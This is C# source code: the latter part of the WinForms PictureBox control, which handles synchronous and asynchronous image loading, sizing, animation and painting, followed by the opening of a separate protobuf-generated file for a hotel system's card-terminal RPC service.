/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.InitialImage"]/*' />
[
SRCategory(SR.CatAsynchronous),
Localizable(true),
RefreshProperties(RefreshProperties.All),
SRDescription(SR.PictureBoxInitialImageDescr)
]
public Image InitialImage {
[ResourceExposure(ResourceScope.Machine)]
[ResourceConsumption(ResourceScope.Machine)]
get {
// Strange pictureBoxState[PICTUREBOXSTATE_useDefaultInitialImage] approach
// used here to avoid statically loading the default bitmaps from resources at
// runtime when they're never used.
if (initialImage == null && pictureBoxState[PICTUREBOXSTATE_useDefaultInitialImage])
{
if (defaultInitialImage == null)
{
// Can't share images across threads.
if (defaultInitialImageForThread == null)
{
defaultInitialImageForThread =
new Bitmap(typeof(PictureBox),
"PictureBox.Loading.bmp");
}
defaultInitialImage = defaultInitialImageForThread;
}
initialImage = defaultInitialImage;
}
return initialImage;
}
set {
if (InitialImage != value)
{
pictureBoxState[PICTUREBOXSTATE_useDefaultInitialImage] = false;
}
initialImage = value;
}
}
private void InstallNewImage(Image value,
ImageInstallationType installationType)
{
StopAnimate();
this.image = value;
LayoutTransaction.DoLayoutIf(AutoSize, this, this, PropertyNames.Image);
Animate();
if (installationType != ImageInstallationType.ErrorOrInitial)
{
AdjustSize();
}
this.imageInstallationType = installationType;
Invalidate();
CommonProperties.xClearPreferredSizeCache(this);
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.ImeMode"]/*' />
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
new public ImeMode ImeMode {
get {
return base.ImeMode;
}
set {
base.ImeMode = value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.ImeModeChanged"]/*' />
/// <internalonly/>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
public new event EventHandler ImeModeChanged {
add {
base.ImeModeChanged += value;
}
remove {
base.ImeModeChanged -= value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.Load"]/*' />
// Synchronous load
[
SRCategory(SR.CatAsynchronous),
SRDescription(SR.PictureBoxLoad0Descr)
]
public void Load()
{
if (imageLocation == null || imageLocation.Length == 0)
{
throw new
InvalidOperationException(SR.GetString(SR.PictureBoxNoImageLocation));
}
// If the load and install fails, pictureBoxState[PICTUREBOXSTATE_needToLoadImageLocation] will be
// false to prevent subsequent attempts.
pictureBoxState[PICTUREBOXSTATE_needToLoadImageLocation] = false;
Image img;
ImageInstallationType installType = ImageInstallationType.FromUrl;
try
{
DisposeImageStream();
Uri uri = CalculateUri(imageLocation);
if (uri.IsFile)
{
localImageStreamReader = new StreamReader(uri.LocalPath);
img = Image.FromStream(localImageStreamReader.BaseStream);
}
else
{
using (WebClient wc = new WebClient())
{
uriImageStream = wc.OpenRead(uri.ToString());
img = Image.FromStream(uriImageStream);
}
}
}
catch
{
if (!DesignMode)
{
throw;
}
else
{
// In design mode, just replace with Error bitmap.
img = ErrorImage;
installType = ImageInstallationType.ErrorOrInitial;
}
}
InstallNewImage(img, installType);
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.Load2"]/*' />
[
SRCategory(SR.CatAsynchronous),
SRDescription(SR.PictureBoxLoad1Descr),
SuppressMessage("Microsoft.Design", "CA1054:UriParametersShouldNotBeStrings") // PM review done
]
public void Load(String url)
{
this.ImageLocation = url;
this.Load();
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.LoadAsync"]/*' />
[
SRCategory(SR.CatAsynchronous),
SRDescription(SR.PictureBoxLoadAsync0Descr)
]
public void LoadAsync()
{
if (imageLocation == null || imageLocation.Length == 0)
{
throw new
InvalidOperationException(SR.GetString(SR.PictureBoxNoImageLocation));
}
if (pictureBoxState[PICTUREBOXSTATE_asyncOperationInProgress])
{
//We shouldn't throw here: just return (VSWhidbey 160308).
return;
}
pictureBoxState[PICTUREBOXSTATE_asyncOperationInProgress] = true;
if ((Image == null ||
(imageInstallationType == ImageInstallationType.ErrorOrInitial))
&& InitialImage != null)
{
InstallNewImage(InitialImage, ImageInstallationType.ErrorOrInitial);
}
currentAsyncLoadOperation = AsyncOperationManager.CreateOperation(null);
if (loadCompletedDelegate == null)
{
loadCompletedDelegate = new SendOrPostCallback(LoadCompletedDelegate);
loadProgressDelegate = new SendOrPostCallback(LoadProgressDelegate);
readBuffer = new byte[readBlockSize];
}
pictureBoxState[PICTUREBOXSTATE_needToLoadImageLocation] = false;
pictureBoxState[PICTUREBOXSTATE_cancellationPending] = false;
contentLength = -1;
tempDownloadStream = new MemoryStream();
WebRequest req = WebRequest.Create(CalculateUri(imageLocation));
// Invoke BeginGetResponse on a threadpool thread, as it has
// unpredictable latency, since, on first call, it may load in the
// configuration system (this is NCL bug 20605)
(new WaitCallback(BeginGetResponseDelegate)).BeginInvoke(req, null, null);
}
// Solely for calling BeginGetResponse itself asynchronously.
private void BeginGetResponseDelegate(object arg)
{
WebRequest req = (WebRequest)arg;
req.BeginGetResponse(new AsyncCallback(GetResponseCallback), req);
}
private void PostCompleted(Exception error, bool cancelled)
{
AsyncOperation temp = currentAsyncLoadOperation;
currentAsyncLoadOperation = null;
if (temp != null)
{
temp.PostOperationCompleted(
loadCompletedDelegate,
new AsyncCompletedEventArgs(error, cancelled, null));
}
}
private void LoadCompletedDelegate(object arg)
{
AsyncCompletedEventArgs e = (AsyncCompletedEventArgs)arg;
Image img = ErrorImage;
ImageInstallationType installType = ImageInstallationType.ErrorOrInitial;
if (!e.Cancelled && e.Error == null)
{
// successful completion
try
{
img = Image.FromStream(tempDownloadStream);
installType = ImageInstallationType.FromUrl;
}
catch (Exception error)
{
e = new AsyncCompletedEventArgs(error, false, null);
}
}
// If cancelled, don't change the image
if (!e.Cancelled)
{
InstallNewImage(img, installType);
}
tempDownloadStream = null;
pictureBoxState[PICTUREBOXSTATE_cancellationPending] = false;
pictureBoxState[PICTUREBOXSTATE_asyncOperationInProgress] = false;
OnLoadCompleted(e);
}
private void LoadProgressDelegate(object arg)
{
OnLoadProgressChanged((ProgressChangedEventArgs)arg);
}
private void GetResponseCallback(IAsyncResult result)
{
if (pictureBoxState[PICTUREBOXSTATE_cancellationPending])
{
PostCompleted(null, true);
}
else
{
try
{
WebRequest req = (WebRequest)result.AsyncState;
WebResponse webResponse = req.EndGetResponse(result);
contentLength = (int)webResponse.ContentLength;
totalBytesRead = 0;
Stream responseStream = webResponse.GetResponseStream();
// Continue on with asynchronous reading.
responseStream.BeginRead(
readBuffer,
0,
readBlockSize,
new AsyncCallback(ReadCallBack),
responseStream);
}
catch (Exception error)
{
// Since this is on a non-UI thread, we catch any exceptions and
// pass them back as data to the UI-thread.
PostCompleted(error, false);
}
}
}
private void ReadCallBack(IAsyncResult result)
{
if (pictureBoxState[PICTUREBOXSTATE_cancellationPending])
{
PostCompleted(null, true);
}
else
{
Stream responseStream = (Stream)result.AsyncState;
try
{
int bytesRead = responseStream.EndRead(result);
if (bytesRead > 0)
{
totalBytesRead += bytesRead;
tempDownloadStream.Write(readBuffer, 0, bytesRead);
responseStream.BeginRead(
readBuffer,
0,
readBlockSize,
new AsyncCallback(ReadCallBack),
responseStream);
// Report progress thus far, but only if we know total length.
if (contentLength != -1)
{
int progress = (int)(100 * (((float)totalBytesRead) / ((float)contentLength)));
if (currentAsyncLoadOperation != null)
{
currentAsyncLoadOperation.Post(loadProgressDelegate,
new ProgressChangedEventArgs(progress, null));
}
}
}
else
{
tempDownloadStream.Seek(0, SeekOrigin.Begin);
if (currentAsyncLoadOperation != null)
{
currentAsyncLoadOperation.Post(loadProgressDelegate,
new ProgressChangedEventArgs(100, null));
}
PostCompleted(null, false);
// Do this so any exception that Close() throws will be
// dealt with ok.
Stream rs = responseStream;
responseStream = null;
rs.Close();
}
}
catch (Exception error)
{
// Since this is on a non-UI thread, we catch any exceptions and
// pass them back as data to the UI-thread.
PostCompleted(error, false);
if (responseStream != null)
{
responseStream.Close();
}
}
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.LoadAsync2"]/*' />
[
SRCategory(SR.CatAsynchronous),
SRDescription(SR.PictureBoxLoadAsync1Descr),
SuppressMessage("Microsoft.Design", "CA1054:UriParametersShouldNotBeStrings") // PM review done
]
public void LoadAsync(String url)
{
this.ImageLocation = url;
this.LoadAsync();
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.LoadCompleted"]/*' />
[
SRCategory(SR.CatAsynchronous),
SRDescription(SR.PictureBoxLoadCompletedDescr)
]
public event AsyncCompletedEventHandler LoadCompleted
{
add
{
this.Events.AddHandler(loadCompletedKey, value);
}
remove
{
this.Events.RemoveHandler(loadCompletedKey, value);
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.LoadProgressChanged"]/*' />
[
SRCategory(SR.CatAsynchronous),
SRDescription(SR.PictureBoxLoadProgressChangedDescr)
]
public event ProgressChangedEventHandler LoadProgressChanged
{
add
{
this.Events.AddHandler(loadProgressChangedKey, value);
}
remove
{
this.Events.RemoveHandler(loadProgressChangedKey, value);
}
}
private void ResetInitialImage()
{
pictureBoxState[PICTUREBOXSTATE_useDefaultInitialImage] = true;
initialImage = defaultInitialImage;
}
private void ResetErrorImage()
{
pictureBoxState[PICTUREBOXSTATE_useDefaultErrorImage] = true;
errorImage = defaultErrorImage;
}
private void ResetImage()
{
InstallNewImage(null, ImageInstallationType.DirectlySpecified);
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.RightToLeft"]/*' />
/// <internalonly/><hideinheritance/>
/// <devdoc>
/// </devdoc>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
public override RightToLeft RightToLeft {
get {
return base.RightToLeft;
}
set {
base.RightToLeft = value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.RightToLeftChanged"]/*' />
/// <internalonly/>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
public new event EventHandler RightToLeftChanged {
add {
base.RightToLeftChanged += value;
}
remove {
base.RightToLeftChanged -= value;
}
}
// Be sure not to re-serialized initial image if it's the default.
private bool ShouldSerializeInitialImage()
{
return !pictureBoxState[PICTUREBOXSTATE_useDefaultInitialImage];
}
// Be sure not to re-serialized error image if it's the default.
private bool ShouldSerializeErrorImage()
{
return !pictureBoxState[PICTUREBOXSTATE_useDefaultErrorImage];
}
// Be sure not to serialize image if it wasn't directly specified
// through the Image property (e.g., if it's a download, or an initial
// or error image)
private bool ShouldSerializeImage()
{
return (imageInstallationType == ImageInstallationType.DirectlySpecified)
&& (Image != null);
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.SizeMode"]/*' />
/// <devdoc>
/// <para>Indicates how the image is displayed.</para>
/// </devdoc>
[
DefaultValue(PictureBoxSizeMode.Normal),
SRCategory(SR.CatBehavior),
Localizable(true),
SRDescription(SR.PictureBoxSizeModeDescr),
RefreshProperties(RefreshProperties.Repaint)
]
public PictureBoxSizeMode SizeMode {
get {
return sizeMode;
}
set {
//valid values are 0x0 to 0x4
if (!ClientUtils.IsEnumValid(value, (int)value, (int)PictureBoxSizeMode.Normal, (int)PictureBoxSizeMode.Zoom))
{
throw new InvalidEnumArgumentException("value", (int)value, typeof(PictureBoxSizeMode));
}
if (this.sizeMode != value) {
if (value == PictureBoxSizeMode.AutoSize) {
this.AutoSize = true;
SetStyle(ControlStyles.FixedHeight | ControlStyles.FixedWidth, true);
}
if (value != PictureBoxSizeMode.AutoSize) {
this.AutoSize = false;
SetStyle(ControlStyles.FixedHeight | ControlStyles.FixedWidth, false);
savedSize = Size;
}
sizeMode = value;
AdjustSize();
Invalidate();
OnSizeModeChanged(EventArgs.Empty);
}
}
}
private static readonly object EVENT_SIZEMODECHANGED = new object();
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.SizeModeChanged"]/*' />
/// <devdoc>
/// <para>[To be supplied.]</para>
/// </devdoc>
[SRCategory(SR.CatPropertyChanged), SRDescription(SR.PictureBoxOnSizeModeChangedDescr)]
public event EventHandler SizeModeChanged {
add {
Events.AddHandler(EVENT_SIZEMODECHANGED, value);
}
remove {
Events.RemoveHandler(EVENT_SIZEMODECHANGED, value);
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.TabStop"]/*' />
/// <internalonly/><hideinheritance/>
/// <devdoc>
/// </devdoc>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
new public bool TabStop {
get {
return base.TabStop;
}
set {
base.TabStop = value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.TabStopChanged"]/*' />
/// <internalonly/>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
new public event EventHandler TabStopChanged {
add {
base.TabStopChanged += value;
}
remove {
base.TabStopChanged -= value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.TabIndex"]/*' />
/// <internalonly/><hideinheritance/>
/// <devdoc>
/// </devdoc>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
new public int TabIndex {
get {
return base.TabIndex;
}
set {
base.TabIndex = value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.TabIndexChanged"]/*' />
/// <internalonly/>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
new public event EventHandler TabIndexChanged {
add {
base.TabIndexChanged += value;
}
remove {
base.TabIndexChanged -= value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.Text"]/*' />
/// <internalonly/><hideinheritance/>
/// <devdoc>
/// </devdoc>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never), Bindable(false)]
public override string Text {
get {
return base.Text;
}
set {
base.Text = value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.TextChanged"]/*' />
/// <internalonly/>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
new public event EventHandler TextChanged {
add {
base.TextChanged += value;
}
remove {
base.TextChanged -= value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.Enter"]/*' />
/// <internalonly/><hideinheritance/>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
public new event EventHandler Enter {
add {
base.Enter += value;
}
remove {
base.Enter -= value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.KeyUp"]/*' />
/// <devdoc>
/// <para>[To be supplied.]</para>
/// </devdoc>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
public new event KeyEventHandler KeyUp {
add {
base.KeyUp += value;
}
remove {
base.KeyUp -= value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.KeyDown"]/*' />
/// <devdoc>
/// <para>[To be supplied.]</para>
/// </devdoc>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
public new event KeyEventHandler KeyDown {
add {
base.KeyDown += value;
}
remove {
base.KeyDown -= value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.KeyPress"]/*' />
/// <devdoc>
/// <para>[To be supplied.]</para>
/// </devdoc>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
public new event KeyPressEventHandler KeyPress {
add {
base.KeyPress += value;
}
remove {
base.KeyPress -= value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.Leave"]/*' />
/// <internalonly/><hideinheritance/>
[Browsable(false), EditorBrowsable(EditorBrowsableState.Never)]
public new event EventHandler Leave {
add {
base.Leave += value;
}
remove {
base.Leave -= value;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.AdjustSize"]/*' />
/// <devdoc>
/// If the PictureBox has the SizeMode property set to AutoSize, this makes
/// sure that the picturebox is large enough to hold the image.
/// </devdoc>
/// <internalonly/>
private void AdjustSize() {
if (sizeMode == PictureBoxSizeMode.AutoSize) {
Size = PreferredSize;
}
else {
Size = savedSize;
}
}
private void Animate() {
Animate(!DesignMode && Visible && Enabled && ParentInternal != null);
}
private void StopAnimate() {
Animate(false);
}
private void Animate(bool animate) {
if (animate != this.currentlyAnimating) {
if (animate) {
if (this.image != null) {
ImageAnimator.Animate(this.image, new EventHandler(this.OnFrameChanged));
this.currentlyAnimating = animate;
}
}
else {
if (this.image != null) {
ImageAnimator.StopAnimate(this.image, new EventHandler(this.OnFrameChanged));
this.currentlyAnimating = animate;
}
}
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.Dispose"]/*' />
/// <devdoc>
/// </devdoc>
/// <internalonly/>
protected override void Dispose(bool disposing) {
if (disposing) {
StopAnimate();
}
DisposeImageStream();
base.Dispose(disposing);
}
private void DisposeImageStream() {
if (localImageStreamReader != null) {
localImageStreamReader.Dispose();
localImageStreamReader = null;
}
if (uriImageStream != null) {
uriImageStream.Dispose();
localImageStreamReader = null;
}
}
// Overriding this method allows us to get the caching and clamping the proposedSize/output to
// MinimumSize / MaximumSize from GetPreferredSize for free.
internal override Size GetPreferredSizeCore(Size proposedSize) {
if (image == null) {
return CommonProperties.GetSpecifiedBounds(this).Size;
}
else {
Size bordersAndPadding = SizeFromClientSize(Size.Empty) + Padding.Size;
return image.Size + bordersAndPadding;
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.OnEnabledChanged"]/*' />
protected override void OnEnabledChanged(EventArgs e) {
base.OnEnabledChanged(e);
Animate();
}
private void OnFrameChanged(object o, EventArgs e) {
if (Disposing || IsDisposed) {
return;
}
// Handle should be created, before calling the BeginInvoke.
// refer VsWhidbey : 315136.
if (InvokeRequired && IsHandleCreated) {
lock (internalSyncObject) {
if (handleValid) {
BeginInvoke(new EventHandler(this.OnFrameChanged), o, e);
}
return;
}
}
Invalidate();
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
protected override void OnHandleDestroyed(EventArgs e) {
lock (internalSyncObject) {
handleValid = false;
}
base.OnHandleDestroyed(e);
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
protected override void OnHandleCreated(EventArgs e) {
lock (internalSyncObject) {
handleValid = true;
}
base.OnHandleCreated(e);
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.OnLoadCompleted"]/*' />
protected virtual void OnLoadCompleted(AsyncCompletedEventArgs e)
{
AsyncCompletedEventHandler handler = (AsyncCompletedEventHandler)(Events[loadCompletedKey]);
if (handler != null)
{
handler(this, e);
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.OnLoadProgressChanged"]/*' />
protected virtual void OnLoadProgressChanged(ProgressChangedEventArgs e)
{
ProgressChangedEventHandler handler = (ProgressChangedEventHandler)(Events[loadProgressChangedKey]);
if (handler != null)
{
handler(this, e);
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.OnPaint"]/*' />
/// <devdoc>
/// Overridden onPaint to make sure that the image is painted correctly.
/// </devdoc>
/// <internalonly/>
protected override void OnPaint(PaintEventArgs pe) {
if (pictureBoxState[PICTUREBOXSTATE_needToLoadImageLocation])
{
try
{
if (WaitOnLoad)
{
Load();
}
else
{
LoadAsync();
}
}
catch (Exception ex)
{ //Dont throw but paint error image LoadAsync fails....
// [....] FXCOP
if (ClientUtils.IsCriticalException(ex))
{
throw;
}
image = ErrorImage;
}
}
if (image != null) {
Animate();
ImageAnimator.UpdateFrames(this.Image);
// Error and initial image are drawn centered, non-stretched.
Rectangle drawingRect =
(imageInstallationType == ImageInstallationType.ErrorOrInitial)
? ImageRectangleFromSizeMode(PictureBoxSizeMode.CenterImage)
: ImageRectangle;
pe.Graphics.DrawImage(image, drawingRect);
}
// Windows draws the border for us (see CreateParams)
base.OnPaint(pe); // raise Paint event
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.OnVisibleChanged"]/*' />
/// <devdoc>
/// <para>[To be supplied.]</para>
/// </devdoc>
protected override void OnVisibleChanged(EventArgs e) {
base.OnVisibleChanged(e);
Animate();
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.OnParentChanged"]/*' />
/// <devdoc>
/// <para>[To be supplied.]</para>
/// </devdoc>
protected override void OnParentChanged(EventArgs e) {
base.OnParentChanged(e);
Animate();
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.OnResize"]/*' />
/// <devdoc>
/// OnResize override to invalidate entire control in Stetch mode
/// </devdoc>
/// <internalonly/>
protected override void OnResize(EventArgs e) {
base.OnResize(e);
if (sizeMode == PictureBoxSizeMode.Zoom || sizeMode == PictureBoxSizeMode.StretchImage || sizeMode == PictureBoxSizeMode.CenterImage || BackgroundImage != null) {
Invalidate();
}
savedSize = Size;
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.OnSizeModeChanged"]/*' />
/// <devdoc>
/// <para>[To be supplied.]</para>
/// </devdoc>
protected virtual void OnSizeModeChanged(EventArgs e) {
EventHandler eh = Events[EVENT_SIZEMODECHANGED] as EventHandler;
if (eh != null) {
eh(this, e);
}
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.ToString"]/*' />
/// <devdoc>
/// Returns a string representation for this control.
/// </devdoc>
/// <internalonly/>
public override string ToString() {
string s = base.ToString();
return s + ", SizeMode: " + sizeMode.ToString("G");
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.WaitOnLoad"]/*' />
[
SRCategory(SR.CatAsynchronous),
Localizable(true),
DefaultValue(false),
SRDescription(SR.PictureBoxWaitOnLoadDescr)
]
public bool WaitOnLoad {
get {
return pictureBoxState[PICTUREBOXSTATE_waitOnLoad];
}
set {
pictureBoxState[PICTUREBOXSTATE_waitOnLoad] = value;
}
}
private enum ImageInstallationType
{
DirectlySpecified,
ErrorOrInitial,
FromUrl
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.ISupportInitialize.BeginInit"]/*' />
/// <internalonly/>
void ISupportInitialize.BeginInit()
{
pictureBoxState[PICTUREBOXSTATE_inInitialization] = true;
}
/// <include file='doc\PictureBox.uex' path='docs/doc[@for="PictureBox.ISupportInitialize.EndInit"]/*' />
/// <internalonly/>
void ISupportInitialize.EndInit()
{
Debug.Assert(pictureBoxState[PICTUREBOXSTATE_inInitialization]);
// Need to do this in EndInit since there's no guarantee of the
// order in which ImageLocation and WaitOnLoad will be set.
if (ImageLocation != null && ImageLocation.Length != 0 && WaitOnLoad)
{
// Load when initialization completes, so any error will occur synchronously
Load();
}
pictureBoxState[PICTUREBOXSTATE_inInitialization] = false;
}
}
}
| |
// Generated by the protocol buffer compiler. DO NOT EDIT!
// source: money/rpc/card_terminal_svc.proto
#pragma warning disable 1591, 0612, 3021
#region Designer generated code
using pb = global::Google.Protobuf;
using pbc = global::Google.Protobuf.Collections;
using pbr = global::Google.Protobuf.Reflection;
using scg = global::System.Collections.Generic;
namespace HOLMS.Types.Money.RPC {
/// <summary>Holder for reflection information generated from money/rpc/card_terminal_svc.proto</summary>
public static partial class CardTerminalSvcReflection {
#region Descriptor
/// <summary>File descriptor for money/rpc/card_terminal_svc.proto</summary>
public static pbr::FileDescriptor Descriptor {
get { return descriptor; }
}
private static pbr::FileDescriptor descriptor;
static CardTerminalSvcReflection() {
byte[] descriptorData = global::System.Convert.FromBase64String(
string.Concat(
"CiFtb25leS9ycGMvY2FyZF90ZXJtaW5hbF9zdmMucHJvdG8SFWhvbG1zLnR5",
"cGVzLm1vbmV5LnJwYxoqcHJpbWl0aXZlL3NlcnZlcl9hY3Rpb25fY29uZmly",
"bWF0aW9uLnByb3RvGhtnb29nbGUvcHJvdG9idWYvZW1wdHkucHJvdG8aKW1v",
"bmV5L2NhcmRzL2NhcmRfdGVybWluYWxfaW5kaWNhdG9yLnByb3RvGiltb25l",
"eS9jYXJkcy9jYXJkX21lcmNoYW50X2luZGljYXRvci5wcm90bxofbW9uZXkv",
"Y2FyZHMvY2FyZF90ZXJtaW5hbC5wcm90bxouYm9va2luZy9pbmRpY2F0b3Jz",
"L3Jlc2VydmF0aW9uX2luZGljYXRvci5wcm90byJbChpDYXJkVGVybWluYWxT",
"dmNBbGxSZXNwb25zZRI9Cg5jYXJkX3Rlcm1pbmFscxgBIAMoCzIlLmhvbG1z",
"LnR5cGVzLm1vbmV5LmNhcmRzLkNhcmRUZXJtaW5hbCJqCiVDYXJkVGVybWlu",
"YWxTdmNWZXJpZnlUZXJtaW5hbFJlc3BvbnNlEkEKCHJlc3BvbnNlGAEgASgO",
"Mi8uaG9sbXMudHlwZXMubW9uZXkucnBjLkNhcmRUZXJtaW5hbFJlc3BvbnNl",
"Q29kZSJ2CiZDYXJkQXV0aG9yaXphdGlvblJlcXVlc3RGb3JSZXNlcnZhdGlv",
"bhJMCg5yZXNlcnZhdGlvbl9pZBgBIAEoCzI0LmhvbG1zLnR5cGVzLmJvb2tp",
"bmcuaW5kaWNhdG9ycy5SZXNlcnZhdGlvbkluZGljYXRvcio6ChhDYXJkVGVy",
"bWluYWxSZXNwb25zZUNvZGUSCQoFRVJST1IQABIGCgJPSxABEgsKB1RJTUVP",
"VVQQAjLUBQoPQ2FyZFRlcm1pbmFsU3ZjElAKA0FsbBIWLmdvb2dsZS5wcm90",
"b2J1Zi5FbXB0eRoxLmhvbG1zLnR5cGVzLm1vbmV5LnJwYy5DYXJkVGVybWlu",
"YWxTdmNBbGxSZXNwb25zZRJ0Cg9BbGxGcm9tTWVyY2hhbnQSLi5ob2xtcy50",
"eXBlcy5tb25leS5jYXJkcy5DYXJkTWVyY2hhbnRJbmRpY2F0b3IaMS5ob2xt",
"cy50eXBlcy5tb25leS5ycGMuQ2FyZFRlcm1pbmFsU3ZjQWxsUmVzcG9uc2US",
"YAoHR2V0QnlJZBIuLmhvbG1zLnR5cGVzLm1vbmV5LmNhcmRzLkNhcmRUZXJt",
"aW5hbEluZGljYXRvcholLmhvbG1zLnR5cGVzLm1vbmV5LmNhcmRzLkNhcmRU",
"ZXJtaW5hbBJWCgZDcmVhdGUSJS5ob2xtcy50eXBlcy5tb25leS5jYXJkcy5D",
"YXJkVGVybWluYWwaJS5ob2xtcy50eXBlcy5tb25leS5jYXJkcy5DYXJkVGVy",
"bWluYWwSVgoGVXBkYXRlEiUuaG9sbXMudHlwZXMubW9uZXkuY2FyZHMuQ2Fy",
"ZFRlcm1pbmFsGiUuaG9sbXMudHlwZXMubW9uZXkuY2FyZHMuQ2FyZFRlcm1p",
"bmFsEmAKBkRlbGV0ZRIlLmhvbG1zLnR5cGVzLm1vbmV5LmNhcmRzLkNhcmRU",
"ZXJtaW5hbBovLmhvbG1zLnR5cGVzLnByaW1pdGl2ZS5TZXJ2ZXJBY3Rpb25D",
"b25maXJtYXRpb24ShAEKHVZlcmlmeVBBWFRlcm1pbmFsQ29ubmVjdGl2aXR5",
"EiUuaG9sbXMudHlwZXMubW9uZXkuY2FyZHMuQ2FyZFRlcm1pbmFsGjwuaG9s",
"bXMudHlwZXMubW9uZXkucnBjLkNhcmRUZXJtaW5hbFN2Y1ZlcmlmeVRlcm1p",
"bmFsUmVzcG9uc2VCI1oJbW9uZXkvcnBjqgIVSE9MTVMuVHlwZXMuTW9uZXku",
"UlBDYgZwcm90bzM="));
descriptor = pbr::FileDescriptor.FromGeneratedCode(descriptorData,
new pbr::FileDescriptor[] { global::HOLMS.Types.Primitive.ServerActionConfirmationReflection.Descriptor, global::Google.Protobuf.WellKnownTypes.EmptyReflection.Descriptor, global::HOLMS.Types.Money.Cards.CardTerminalIndicatorReflection.Descriptor, global::HOLMS.Types.Money.Cards.CardMerchantIndicatorReflection.Descriptor, global::HOLMS.Types.Money.Cards.CardTerminalReflection.Descriptor, global::HOLMS.Types.Booking.Indicators.ReservationIndicatorReflection.Descriptor, },
new pbr::GeneratedClrTypeInfo(new[] {typeof(global::HOLMS.Types.Money.RPC.CardTerminalResponseCode), }, new pbr::GeneratedClrTypeInfo[] {
new pbr::GeneratedClrTypeInfo(typeof(global::HOLMS.Types.Money.RPC.CardTerminalSvcAllResponse), global::HOLMS.Types.Money.RPC.CardTerminalSvcAllResponse.Parser, new[]{ "CardTerminals" }, null, null, null),
new pbr::GeneratedClrTypeInfo(typeof(global::HOLMS.Types.Money.RPC.CardTerminalSvcVerifyTerminalResponse), global::HOLMS.Types.Money.RPC.CardTerminalSvcVerifyTerminalResponse.Parser, new[]{ "Response" }, null, null, null),
new pbr::GeneratedClrTypeInfo(typeof(global::HOLMS.Types.Money.RPC.CardAuthorizationRequestForReservation), global::HOLMS.Types.Money.RPC.CardAuthorizationRequestForReservation.Parser, new[]{ "ReservationId" }, null, null, null)
}));
}
#endregion
}
#region Enums
public enum CardTerminalResponseCode {
[pbr::OriginalName("ERROR")] Error = 0,
[pbr::OriginalName("OK")] Ok = 1,
[pbr::OriginalName("TIMEOUT")] Timeout = 2,
}
#endregion
#region Messages
public sealed partial class CardTerminalSvcAllResponse : pb::IMessage<CardTerminalSvcAllResponse> {
private static readonly pb::MessageParser<CardTerminalSvcAllResponse> _parser = new pb::MessageParser<CardTerminalSvcAllResponse>(() => new CardTerminalSvcAllResponse());
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public static pb::MessageParser<CardTerminalSvcAllResponse> Parser { get { return _parser; } }
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public static pbr::MessageDescriptor Descriptor {
get { return global::HOLMS.Types.Money.RPC.CardTerminalSvcReflection.Descriptor.MessageTypes[0]; }
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
pbr::MessageDescriptor pb::IMessage.Descriptor {
get { return Descriptor; }
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public CardTerminalSvcAllResponse() {
OnConstruction();
}
partial void OnConstruction();
